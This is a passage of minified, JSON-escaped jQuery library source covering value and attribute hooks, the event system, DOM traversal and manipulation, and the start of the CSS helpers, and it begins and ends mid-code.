t=x.valHooks[i.type]||x.valHooks[i.nodeName.toLowerCase()],t\u0026\u0026\"get\"in t\u0026\u0026(n=t.get(i,\"value\"))!==undefined?n:(n=i.value,\"string\"==typeof n?n.replace($,\"\"):null==n?\"\":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o=\"select-one\"===e.type||0\u003ei,s=o?null:[],a=o?i+1:r.length,u=0\u003ei?a:o?i:0;for(;a\u003eu;u++)if(n=r[u],!(!n.selected\u0026\u0026u!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute(\"disabled\"))||n.parentNode.disabled\u0026\u0026x.nodeName(n.parentNode,\"optgroup\"))){if(t=x(n).val(),o)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),s=i.length;while(s--)r=i[s],(r.selected=x.inArray(x(r).val(),o)\u003e=0)\u0026\u0026(n=!0);return n||(e.selectedIndex=-1),o}}},attr:function(e,t,n){var i,o,s=e.nodeType;if(e\u0026\u00263!==s\u0026\u00268!==s\u0026\u00262!==s)return typeof e.getAttribute===r?x.prop(e,t,n):(1===s\u0026\u0026x.isXMLDoc(e)||(t=t.toLowerCase(),i=x.attrHooks[t]||(x.expr.match.bool.test(t)?M:R)),n===undefined?i\u0026\u0026\"get\"in i\u0026\u0026null!==(o=i.get(e,t))?o:(o=x.find.attr(e,t),null==o?undefined:o):null!==n?i\u0026\u0026\"set\"in i\u0026\u0026(o=i.set(e,n,t))!==undefined?o:(e.setAttribute(t,n+\"\"),n):(x.removeAttr(e,t),undefined))},removeAttr:function(e,t){var n,r,i=0,o=t\u0026\u0026t.match(w);if(o\u0026\u00261===e.nodeType)while(n=o[i++])r=x.propFix[n]||n,x.expr.match.bool.test(n)\u0026\u0026(e[r]=!1),e.removeAttribute(n)},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue\u0026\u0026\"radio\"===t\u0026\u0026x.nodeName(e,\"input\")){var n=e.value;return e.setAttribute(\"type\",t),n\u0026\u0026(e.value=n),t}}}},propFix:{\"for\":\"htmlFor\",\"class\":\"className\"},prop:function(e,t,n){var r,i,o,s=e.nodeType;if(e\u0026\u00263!==s\u0026\u00268!==s\u0026\u00262!==s)return o=1!==s||!x.isXMLDoc(e),o\u0026\u0026(t=x.propFix[t]||t,i=x.propHooks[t]),n!==undefined?i\u0026\u0026\"set\"in i\u0026\u0026(r=i.set(e,n,t))!==undefined?r:e[t]=n:i\u0026\u0026\"get\"in i\u0026\u0026null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){return e.hasAttribute(\"tabindex\")||B.test(e.nodeName)||e.href?e.tabIndex:-1}}}}),M={set:function(e,t,n){return t===!1?x.removeAttr(e,n):e.setAttribute(n,n),n}},x.each(x.expr.match.bool.source.match(/\\w+/g),function(e,t){var n=x.expr.attrHandle[t]||x.find.attr;x.expr.attrHandle[t]=function(e,t,r){var i=x.expr.attrHandle[t],o=r?undefined:(x.expr.attrHandle[t]=undefined)!=n(e,t,r)?t.toLowerCase():null;return x.expr.attrHandle[t]=i,o}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t\u0026\u0026t.parentNode\u0026\u0026t.parentNode.selectedIndex,null}}),x.each([\"tabIndex\",\"readOnly\",\"maxLength\",\"cellSpacing\",\"cellPadding\",\"rowSpan\",\"colSpan\",\"useMap\",\"frameBorder\",\"contentEditable\"],function(){x.propFix[this.toLowerCase()]=this}),x.each([\"radio\",\"checkbox\"],function(){x.valHooks[this]={set:function(e,t){return x.isArray(t)?e.checked=x.inArray(x(e).val(),t)\u003e=0:undefined}},x.support.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute(\"value\")?\"on\":e.value})});var I=/^key/,z=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,X=/^([^.]*)(?:\\.(.+)|)$/;function U(){return!0}function Y(){return!1}function V(){try{return o.activeElement}catch(e){}}x.event={global:{},add:function(e,t,n,i,o){var s,a,u,l,c,p,f,h,d,g,m,y=q.get(e);if(y){n.handler\u0026\u0026(s=n,n=s.handler,o=s.selector),n.guid||(n.guid=x.guid++),(l=y.events)||(l=y.events={}),(a=y.handle)||(a=y.handle=function(e){return typeof x===r||e\u0026\u0026x.event.triggered===e.type?undefined:x.event.dispatch.apply(a.elem,arguments)},a.elem=e),t=(t||\"\").match(w)||[\"\"],c=t.length;while(c--)u=X.exec(t[c])||[],d=m=u[1],g=(u[2]||\"\").split(\".\").sort(),d\u0026\u0026(f=x.event.special[d]||{},d=(o?f.delegateType:f.bindType)||d,f=x.event.special[d]||{},p=x.extend({type:d,origType:m,data:i,handler:n,guid:n.guid,selector:o,needsContext:o\u0026\u0026x.expr.match.needsContext.test(o),namespace:g.join(\".\")},s),(h=l[d])||(h=l[d]=[],h.delegateCount=0,f.setup\u0026\u0026f.setup.call(e,i,g,a)!==!1||e.addEventListener\u0026\u0026e.addEventListener(d,a,!1)),f.add\u0026\u0026(f.add.call(e,p),p.handler.guid||(p.handler.guid=n.guid)),o?h.splice(h.delegateCount++,0,p):h.push(p),x.event.global[d]=!0);e=null}},remove:function(e,t,n,r,i){var o,s,a,u,l,c,p,f,h,d,g,m=q.hasData(e)\u0026\u0026q.get(e);if(m\u0026\u0026(u=m.events)){t=(t||\"\").match(w)||[\"\"],l=t.length;while(l--)if(a=X.exec(t[l])||[],h=g=a[1],d=(a[2]||\"\").split(\".\").sort(),h){p=x.event.special[h]||{},h=(r?p.delegateType:p.bindType)||h,f=u[h]||[],a=a[2]\u0026\u0026RegExp(\"(^|\\\\.)\"+d.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),s=o=f.length;while(o--)c=f[o],!i\u0026\u0026g!==c.origType||n\u0026\u0026n.guid!==c.guid||a\u0026\u0026!a.test(c.namespace)||r\u0026\u0026r!==c.selector\u0026\u0026(\"**\"!==r||!c.selector)||(f.splice(o,1),c.selector\u0026\u0026f.delegateCount--,p.remove\u0026\u0026p.remove.call(e,c));s\u0026\u0026!f.length\u0026\u0026(p.teardown\u0026\u0026p.teardown.call(e,d,m.handle)!==!1||x.removeEvent(e,h,m.handle),delete u[h])}else for(h in u)x.event.remove(e,h+t[l],n,r,!0);x.isEmptyObject(u)\u0026\u0026(delete m.handle,q.remove(e,\"events\"))}},trigger:function(t,n,r,i){var s,a,u,l,c,p,f,h=[r||o],d=y.call(t,\"type\")?t.type:t,g=y.call(t,\"namespace\")?t.namespace.split(\".\"):[];if(a=u=r=r||o,3!==r.nodeType\u0026\u00268!==r.nodeType\u0026\u0026!_.test(d+x.event.triggered)\u0026\u0026(d.indexOf(\".\")\u003e=0\u0026\u0026(g=d.split(\".\"),d=g.shift(),g.sort()),c=0\u003ed.indexOf(\":\")\u0026\u0026\"on\"+d,t=t[x.expando]?t:new x.Event(d,\"object\"==typeof t\u0026\u0026t),t.isTrigger=i?2:3,t.namespace=g.join(\".\"),t.namespace_re=t.namespace?RegExp(\"(^|\\\\.)\"+g.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,t.result=undefined,t.target||(t.target=r),n=null==n?[t]:x.makeArray(n,[t]),f=x.event.special[d]||{},i||!f.trigger||f.trigger.apply(r,n)!==!1)){if(!i\u0026\u0026!f.noBubble\u0026\u0026!x.isWindow(r)){for(l=f.delegateType||d,_.test(l+d)||(a=a.parentNode);a;a=a.parentNode)h.push(a),u=a;u===(r.ownerDocument||o)\u0026\u0026h.push(u.defaultView||u.parentWindow||e)}s=0;while((a=h[s++])\u0026\u0026!t.isPropagationStopped())t.type=s\u003e1?l:f.bindType||d,p=(q.get(a,\"events\")||{})[t.type]\u0026\u0026q.get(a,\"handle\"),p\u0026\u0026p.apply(a,n),p=c\u0026\u0026a[c],p\u0026\u0026x.acceptData(a)\u0026\u0026p.apply\u0026\u0026p.apply(a,n)===!1\u0026\u0026t.preventDefault();return t.type=d,i||t.isDefaultPrevented()||f._default\u0026\u0026f._default.apply(h.pop(),n)!==!1||!x.acceptData(r)||c\u0026\u0026x.isFunction(r[d])\u0026\u0026!x.isWindow(r)\u0026\u0026(u=r[c],u\u0026\u0026(r[c]=null),x.event.triggered=d,r[d](),x.event.triggered=undefined,u\u0026\u0026(r[c]=u)),t.result}},dispatch:function(e){e=x.event.fix(e);var t,n,r,i,o,s=[],a=d.call(arguments),u=(q.get(this,\"events\")||{})[e.type]||[],l=x.event.special[e.type]||{};if(a[0]=e,e.delegateTarget=this,!l.preDispatch||l.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),t=0;while((i=s[t++])\u0026\u0026!e.isPropagationStopped()){e.currentTarget=i.elem,n=0;while((o=i.handlers[n++])\u0026\u0026!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(o.namespace))\u0026\u0026(e.handleObj=o,e.data=o.data,r=((x.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,a),r!==undefined\u0026\u0026(e.result=r)===!1\u0026\u0026(e.preventDefault(),e.stopPropagation()))}return l.postDispatch\u0026\u0026l.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,s=[],a=t.delegateCount,u=e.target;if(a\u0026\u0026u.nodeType\u0026\u0026(!e.button||\"click\"!==e.type))for(;u!==this;u=u.parentNode||this)if(u.disabled!==!0||\"click\"!==e.type){for(r=[],n=0;a\u003en;n++)o=t[n],i=o.selector+\" \",r[i]===undefined\u0026\u0026(r[i]=o.needsContext?x(i,this).index(u)\u003e=0:x.find(i,this,null,[u]).length),r[i]\u0026\u0026r.push(o);r.length\u0026\u0026s.push({elem:u,handlers:r})}return t.length\u003ea\u0026\u0026s.push({elem:this,handlers:t.slice(a)}),s},props:\"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(e,t){return null==e.which\u0026\u0026(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:\"button buttons clientX clientY offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(e,t){var n,r,i,s=t.button;return null==e.pageX\u0026\u0026null!=t.clientX\u0026\u0026(n=e.target.ownerDocument||o,r=n.documentElement,i=n.body,e.pageX=t.clientX+(r\u0026\u0026r.scrollLeft||i\u0026\u0026i.scrollLeft||0)-(r\u0026\u0026r.clientLeft||i\u0026\u0026i.clientLeft||0),e.pageY=t.clientY+(r\u0026\u0026r.scrollTop||i\u0026\u0026i.scrollTop||0)-(r\u0026\u0026r.clientTop||i\u0026\u0026i.clientTop||0)),e.which||s===undefined||(e.which=1\u0026s?1:2\u0026s?3:4\u0026s?2:0),e}},fix:function(e){if(e[x.expando])return e;var t,n,r,i=e.type,s=e,a=this.fixHooks[i];a||(this.fixHooks[i]=a=z.test(i)?this.mouseHooks:I.test(i)?this.keyHooks:{}),r=a.props?this.props.concat(a.props):this.props,e=new x.Event(s),t=r.length;while(t--)n=r[t],e[n]=s[n];return e.target||(e.target=o),3===e.target.nodeType\u0026\u0026(e.target=e.target.parentNode),a.filter?a.filter(e,s):e},special:{load:{noBubble:!0},focus:{trigger:function(){return this!==V()\u0026\u0026this.focus?(this.focus(),!1):undefined},delegateType:\"focusin\"},blur:{trigger:function(){return this===V()\u0026\u0026this.blur?(this.blur(),!1):undefined},delegateType:\"focusout\"},click:{trigger:function(){return\"checkbox\"===this.type\u0026\u0026this.click\u0026\u0026x.nodeName(this,\"input\")?(this.click(),!1):undefined},_default:function(e){return x.nodeName(e.target,\"a\")}},beforeunload:{postDispatch:function(e){e.result!==undefined\u0026\u0026(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()\u0026\u0026n.preventDefault()}},x.removeEvent=function(e,t,n){e.removeEventListener\u0026\u0026e.removeEventListener(t,n,!1)},x.Event=function(e,t){return this instanceof x.Event?(e\u0026\u0026e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.getPreventDefault\u0026\u0026e.getPreventDefault()?U:Y):this.type=e,t\u0026\u0026x.extend(this,t),this.timeStamp=e\u0026\u0026e.timeStamp||x.now(),this[x.expando]=!0,undefined):new x.Event(e,t)},x.Event.prototype={isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=U,e\u0026\u0026e.preventDefault\u0026\u0026e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=U,e\u0026\u0026e.stopPropagation\u0026\u0026e.stopPropagation()},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=U,this.stopPropagation()}},x.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r\u0026\u0026!x.contains(r,i))\u0026\u0026(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),x.support.focusinBubbles||x.each({focus:\"focusin\",blur:\"focusout\"},function(e,t){var n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n++\u0026\u0026o.addEventListener(e,r,!0)},teardown:function(){0===--n\u0026\u0026o.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,t,n,r,i){var o,s;if(\"object\"==typeof e){\"string\"!=typeof t\u0026\u0026(n=n||t,t=undefined);for(s in e)this.on(s,t,n,e[s],i);return this}if(null==n\u0026\u0026null==r?(r=t,n=t=undefined):null==r\u0026\u0026(\"string\"==typeof t?(r=n,n=undefined):(r=n,n=t,t=undefined)),r===!1)r=Y;else if(!r)return this;return 1===i\u0026\u0026(o=r,r=function(e){return x().off(e),o.apply(this,arguments)},r.guid=o.guid||(o.guid=x.guid++)),this.each(function(){x.event.add(this,e,r,n,t)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,t,n){var r,i;if(e\u0026\u0026e.preventDefault\u0026\u0026e.handleObj)return r=e.handleObj,x(e.delegateTarget).off(r.namespace?r.origType+\".\"+r.namespace:r.origType,r.selector,r.handler),this;if(\"object\"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return(t===!1||\"function\"==typeof t)\u0026\u0026(n=t,t=undefined),n===!1\u0026\u0026(n=Y),this.each(function(){x.event.remove(this,e,n,t)})},trigger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];return n?x.event.trigger(e,t,n,!0):undefined}});var G=/^.[^:#\\[\\.,]*$/,J=/^(?:parents|prev(?:Until|All))/,Q=x.expr.match.needsContext,K={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if(\"string\"!=typeof e)return this.pushStack(x(e).filter(function(){for(t=0;i\u003et;t++)if(x.contains(r[t],this))return!0}));for(t=0;i\u003et;t++)x.find(e,r[t],n);return n=this.pushStack(i\u003e1?x.unique(n):n),n.selector=this.selector?this.selector+\" \"+e:e,n},has:function(e){var t=x(e,this),n=t.length;return this.filter(function(){var e=0;for(;n\u003ee;e++)if(x.contains(this,t[e]))return!0})},not:function(e){return this.pushStack(et(this,e||[],!0))},filter:function(e){return this.pushStack(et(this,e||[],!1))},is:function(e){return!!et(this,\"string\"==typeof e\u0026\u0026Q.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,o=[],s=Q.test(e)||\"string\"!=typeof e?x(e,t||this.context):0;for(;i\u003er;r++)for(n=this[r];n\u0026\u0026n!==t;n=n.parentNode)if(11\u003en.nodeType\u0026\u0026(s?s.index(n)\u003e-1:1===n.nodeType\u0026\u0026x.find.matchesSelector(n,e))){n=o.push(n);break}return this.pushStack(o.length\u003e1?x.unique(o):o)},index:function(e){return e?\"string\"==typeof e?g.call(x(e),this[0]):g.call(this,e.jquery?e[0]:e):this[0]\u0026\u0026this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n=\"string\"==typeof e?x(e,t):x.makeArray(e\u0026\u0026e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function Z(e,t){while((e=e[t])\u0026\u00261!==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t\u0026\u002611!==t.nodeType?t:null},parents:function(e){return x.dir(e,\"parentNode\")},parentsUntil:function(e,t,n){return x.dir(e,\"parentNode\",n)},next:function(e){return Z(e,\"nextSibling\")},prev:function(e){return Z(e,\"previousSibling\")},nextAll:function(e){return x.dir(e,\"nextSibling\")},prevAll:function(e){return x.dir(e,\"previousSibling\")},nextUntil:function(e,t,n){return x.dir(e,\"nextSibling\",n)},prevUntil:function(e,t,n){return x.dir(e,\"previousSibling\",n)},siblings:function(e){return x.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return e.contentDocument||x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return\"Until\"!==e.slice(-5)\u0026\u0026(r=n),r\u0026\u0026\"string\"==typeof r\u0026\u0026(i=x.filter(r,i)),this.length\u003e1\u0026\u0026(K[e]||x.unique(i),J.test(e)\u0026\u0026i.reverse()),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0];return n\u0026\u0026(e=\":not(\"+e+\")\"),1===t.length\u0026\u00261===r.nodeType?x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,t,n){var r=[],i=n!==undefined;while((e=e[t])\u0026\u00269!==e.nodeType)if(1===e.nodeType){if(i\u0026\u0026x(e).is(n))break;r.push(e)}return r},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType\u0026\u0026e!==t\u0026\u0026n.push(e);return n}});function et(e,t,n){if(x.isFunction(t))return x.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return x.grep(e,function(e){return e===t!==n});if(\"string\"==typeof t){if(G.test(t))return x.filter(t,e,n);t=x.filter(t,e)}return x.grep(e,function(e){return g.call(t,e)\u003e=0!==n})}var tt=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^\u003e]*)\\/\u003e/gi,nt=/\u003c([\\w:]+)/,rt=/\u003c|\u0026#?\\w+;/,it=/\u003c(?:script|style|link)/i,ot=/^(?:checkbox|radio)$/i,st=/checked\\s*(?:[^=]|=\\s*.checked.)/i,at=/^$|\\/(?:java|ecma)script/i,ut=/^true\\/(.*)/,lt=/^\\s*\u003c!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)\u003e\\s*$/g,ct={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],_default:[0,\"\",\"\"]};ct.optgroup=ct.option,ct.tbody=ct.tfoot=ct.colgroup=ct.caption=ct.thead,ct.th=ct.td,x.fn.extend({text:function(e){return x.access(this,function(e){return e===undefined?x.text(this):this.empty().append((this[0]\u0026\u0026this[0].ownerDocument||o).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=pt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=pt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode\u0026\u0026this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode\u0026\u0026this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i++)t||1!==n.nodeType||x.cleanData(mt(n)),n.parentNode\u0026\u0026(t\u0026\u0026x.contains(n.ownerDocument,n)\u0026\u0026dt(mt(n,\"script\")),n.parentNode.removeChild(n));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++)1===e.nodeType\u0026\u0026(x.cleanData(mt(e,!1)),e.textContent=\"\");return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function(e){var t=this[0]||{},n=0,r=this.length;if(e===undefined\u0026\u00261===t.nodeType)return t.innerHTML;if(\"string\"==typeof e\u0026\u0026!it.test(e)\u0026\u0026!ct[(nt.exec(e)||[\"\",\"\"])[1].toLowerCase()]){e=e.replace(tt,\"\u003c$1\u003e\u003c/$2\u003e\");try{for(;r\u003en;n++)t=this[n]||{},1===t.nodeType\u0026\u0026(x.cleanData(mt(t,!1)),t.innerHTML=e);t=0}catch(i){}}t\u0026\u0026this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t++],i=e[t++];i\u0026\u0026(r\u0026\u0026r.parentNode!==i\u0026\u0026(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=f.apply([],e);var r,i,o,s,a,u,l=0,c=this.length,p=this,h=c-1,d=e[0],g=x.isFunction(d);if(g||!(1\u003e=c||\"string\"!=typeof d||x.support.checkClone)\u0026\u0026st.test(d))return this.each(function(r){var i=p.eq(r);g\u0026\u0026(e[0]=d.call(this,r,i.html())),i.domManip(e,t,n)});if(c\u0026\u0026(r=x.buildFragment(e,this[0].ownerDocument,!1,!n\u0026\u0026this),i=r.firstChild,1===r.childNodes.length\u0026\u0026(r=i),i)){for(o=x.map(mt(r,\"script\"),ft),s=o.length;c\u003el;l++)a=r,l!==h\u0026\u0026(a=x.clone(a,!0,!0),s\u0026\u0026x.merge(o,mt(a,\"script\"))),t.call(this[l],a,l);if(s)for(u=o[o.length-1].ownerDocument,x.map(o,ht),l=0;s\u003el;l++)a=o[l],at.test(a.type||\"\")\u0026\u0026!q.access(a,\"globalEval\")\u0026\u0026x.contains(u,a)\u0026\u0026(a.src?x._evalUrl(a.src):x.globalEval(a.textContent.replace(lt,\"\")))}return this}}),x.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(e,t){x.fn[e]=function(e){var n,r=[],i=x(e),o=i.length-1,s=0;for(;o\u003e=s;s++)n=s===o?this:this.clone(!0),x(i[s])[t](n),h.apply(r,n.get());return this.pushStack(r)}}),x.extend({clone:function(e,t,n){var r,i,o,s,a=e.cloneNode(!0),u=x.contains(e.ownerDocument,e);if(!(x.support.noCloneChecked||1!==e.nodeType\u0026\u002611!==e.nodeType||x.isXMLDoc(e)))for(s=mt(a),o=mt(e),r=0,i=o.length;i\u003er;r++)yt(o[r],s[r]);if(t)if(n)for(o=o||mt(e),s=s||mt(a),r=0,i=o.length;i\u003er;r++)gt(o[r],s[r]);else gt(e,a);return s=mt(a,\"script\"),s.length\u003e0\u0026\u0026dt(s,!u\u0026\u0026mt(e,\"script\")),a},buildFragment:function(e,t,n,r){var i,o,s,a,u,l,c=0,p=e.length,f=t.createDocumentFragment(),h=[];for(;p\u003ec;c++)if(i=e[c],i||0===i)if(\"object\"===x.type(i))x.merge(h,i.nodeType?[i]:i);else if(rt.test(i)){o=o||f.appendChild(t.createElement(\"div\")),s=(nt.exec(i)||[\"\",\"\"])[1].toLowerCase(),a=ct[s]||ct._default,o.innerHTML=a[1]+i.replace(tt,\"\u003c$1\u003e\u003c/$2\u003e\")+a[2],l=a[0];while(l--)o=o.lastChild;x.merge(h,o.childNodes),o=f.firstChild,o.textContent=\"\"}else h.push(t.createTextNode(i));f.textContent=\"\",c=0;while(i=h[c++])if((!r||-1===x.inArray(i,r))\u0026\u0026(u=x.contains(i.ownerDocument,i),o=mt(f.appendChild(i),\"script\"),u\u0026\u0026dt(o),n)){l=0;while(i=o[l++])at.test(i.type||\"\")\u0026\u0026n.push(i)}return f},cleanData:function(e){var t,n,r,i,o,s,a=x.event.special,u=0;for(;(n=e[u])!==undefined;u++){if(F.accepts(n)\u0026\u0026(o=n[q.expando],o\u0026\u0026(t=q.cache[o]))){if(r=Object.keys(t.events||{}),r.length)for(s=0;(i=r[s])!==undefined;s++)a[i]?x.event.remove(n,i):x.removeEvent(n,i,t.handle);q.cache[o]\u0026\u0026delete q.cache[o]}delete L.cache[n[L.expando]]}},_evalUrl:function(e){return x.ajax({url:e,type:\"GET\",dataType:\"script\",async:!1,global:!1,\"throws\":!0})}});function pt(e,t){return x.nodeName(e,\"table\")\u0026\u0026x.nodeName(1===t.nodeType?t:t.firstChild,\"tr\")?e.getElementsByTagName(\"tbody\")[0]||e.appendChild(e.ownerDocument.createElement(\"tbody\")):e}function ft(e){return e.type=(null!==e.getAttribute(\"type\"))+\"/\"+e.type,e}function ht(e){var t=ut.exec(e.type);return t?e.type=t[1]:e.removeAttribute(\"type\"),e}function dt(e,t){var n=e.length,r=0;for(;n\u003er;r++)q.set(e[r],\"globalEval\",!t||q.get(t[r],\"globalEval\"))}function gt(e,t){var n,r,i,o,s,a,u,l;if(1===t.nodeType){if(q.hasData(e)\u0026\u0026(o=q.access(e),s=q.set(t,o),l=o.events)){delete s.handle,s.events={};for(i in l)for(n=0,r=l[i].length;r\u003en;n++)x.event.add(t,i,l[i][n])}L.hasData(e)\u0026\u0026(a=L.access(e),u=x.extend({},a),L.set(t,u))}}function mt(e,t){var n=e.getElementsByTagName?e.getElementsByTagName(t||\"*\"):e.querySelectorAll?e.querySelectorAll(t||\"*\"):[];return t===undefined||t\u0026\u0026x.nodeName(e,t)?x.merge([e],n):n}function yt(e,t){var n=t.nodeName.toLowerCase();\"input\"===n\u0026\u0026ot.test(e.type)?t.checked=e.checked:(\"input\"===n||\"textarea\"===n)\u0026\u0026(t.defaultValue=e.defaultValue)}x.fn.extend({wrapAll:function(e){var t;return x.isFunction(e)?this.each(function(t){x(this).wrapAll(e.call(this,t))}):(this[0]\u0026\u0026(t=x(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode\u0026\u0026t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this)},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,\"body\")||x(this).replaceWith(this.childNodes)}).end()}});var vt,xt,bt=/^(none|table(?!-c[ea]).+)/,wt=/^margin/,Tt=RegExp(\"^(\"+b+\")(.*)$\",\"i\"),Ct=RegExp(\"^(\"+b+\")(?!px)[a-z%]+$\",\"i\"),kt=RegExp(\"^([+-])=(\"+b+\")\",\"i\"),Nt={BODY:\"block\"},Et={position:\"absolute\",visibility:\"hidden\",display:\"block\"},St={letterSpacing:0,fontWeight:400},jt=[\"Top\",\"Right\",\"Bottom\",\"Left\"],Dt=[\"Webkit\",\"O\",\"Moz\",\"ms\"];function At(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=Dt.length;while(i--)if(t=Dt[i]+n,t in e)return t;return r}function Lt(e,t){return e=t||e,\"none\"===x.css(e,\"display\")||!x.contains(e.ownerDocument,e)}function qt(t){return e.getComputedStyle(t,null)}function Ht(e,t){var n,r,i,o=[],s=0,a=e.length;for(;a\u003es;s++)r=e[s],r.style\u0026\u0026(o[s]=q.get(r,\"olddisplay\"),n=r.style.display,t?(o[s]||\"none\"!==n||(r.style.display=\"\"),\"\"===r.style.display\u0026\u0026Lt(r)\u0026\u0026(o[s]=q.access(r,\"olddisplay\",Rt(r.nodeName)))):o[s]||(i=Lt(r),(n\u0026\u0026\"none\"!==n||!i)\u0026\u0026q.set(r,\"olddisplay\",i?n:x.css(r,\"display\"))));for(s=0;a\u003es;s++)r=e[s],r.style\u0026\u0026(t\u0026\u0026\"none\"!==r.style.display\u0026\u0026\"\"!==r.style.display||(r.style.display=t?o[s]||\"\":\"none\"));return e}x.fn.extend({css:function(e,t){return x.access(this,function(e,t,n){var r,i,o={},s=0;if(x.isArray(t)){for(r=qt(e),i=t.length;i\u003es;s++)o[t[s]]=x.css(e,t[s],!1,r);return o}return n!==undefined?x.style(e,t,n):x.css(e,t)},e,t,arguments.length\u003e1)},show:function(){return Ht(this,!0)},hide:function(){return Ht(this)},toggle:function(e){return\"boolean\"==typeof e?e?this.show():this.hide():this.each(function(){Lt(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var 